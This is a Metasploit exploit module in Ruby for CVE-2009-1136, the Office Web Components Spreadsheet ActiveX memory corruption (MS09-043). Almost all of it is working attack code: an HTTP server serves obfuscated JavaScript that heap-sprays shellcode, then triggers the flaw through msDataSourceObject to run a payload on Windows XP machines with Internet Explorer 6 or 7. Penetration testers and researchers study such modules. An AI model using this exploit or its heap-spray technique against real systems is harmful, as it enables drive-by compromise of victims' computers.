##
# $Id: ms09_043_owc_msdso.rb 9893 2010-07-20 23:28:47Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft OWC Spreadsheet msDataSourceObject Memory Corruption',
'Description' => %q{
This module exploits a memory corruption vulnerability within versions 10 and 11 of
the Office Web Component Spreadsheet ActiveX control. This module was based on
an exploit found in the wild.
},
'License' => MSF_LICENSE,
'Author' => [ 'unknown', 'hdm', 'Ahmed Obied', 'DSR! <xchwarze[at]gmail.com>' ],
'Version' => '$Revision: 9893 $',
'References' =>
[
[ 'CVE', '2009-1136' ],
[ 'OSVDB', '55806' ],
[ 'MSB', 'MS09-043' ],
[ 'URL', 'http://ahmed.obied.net/software/code/exploits/ie_owc.py' ],
[ 'URL', 'http://www.exploit-db.com/exploits/9163/' ],
# broken: [ 'URL', 'http://xeye.us/blog/2009/07/one-0day/' ],
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/973472.mspx' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => '',
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] # other exploits use 0x0b0c0b0c
],
'DisclosureDate' => 'Jul 13 2009',
'DefaultTarget' => 0))
@javascript_encode_key = rand_text_alpha(rand(10) + 10)
end
def on_request_uri(cli, request)
# Send a redirect with the javascript encoding key
#if (!request.uri.match(/\?\w+/))
# send_local_redirect(cli, "?#{@javascript_encode_key}")
# return
#end
return if ((p = regenerate_payload(cli)) == nil)
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
shellcode = Rex::Text.to_unescape(p.encoded)
retaddr = Rex::Text.to_unescape([target.ret].pack('V'))
js = %Q|
var xshellcode = unescape("#{shellcode}");
var xarray = new Array();
var xls = 0x81000-(xshellcode.length*2);
var xbigblock = unescape("#{retaddr}");
while( xbigblock.length < xls / 2) { xbigblock += xbigblock; }
var xlh = xbigblock.substring(0, xls / 2);
delete xbigblock;
for(xi=0; xi<0x99*2; xi++) {
xarray[xi] = xlh + xlh + xshellcode;
}
CollectGarbage();
var xobj;
try {
xobj = new ActiveXObject("OWC10.Spreadsheet");
} catch(err) {
try {
xobj = new ActiveXObject("OWC11.Spreadsheet");
} catch(err) {
}
}
xe = new Array();
xe.push(1);
xe.push(2);
xe.push(0);
xe.push(window);
for(xi=0; xi < xe.length; xi++){
for(xj=0; xj<10; xj++){
try { xobj.Evaluate(xe[xi]); } catch(e) { }
}
}
window.status = xe[3] + '';
for(xj=0; xj<10; xj++){
try{ xobj.msDataSourceObject(xe[3]); } catch(e) { }
}
|
# Obfuscate it up a bit
js = obfuscate_js(js,
'Symbols' => {
'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj err}
}
).to_s
# Encode the javascript payload with the URI key
# js = encrypt_js(js, @javascript_encode_key)
# Fire off the page to the client
send_response(cli, "<html><script language='javascript'>#{js}</script></html>")
# Handle the payload
handler(cli)
end
end
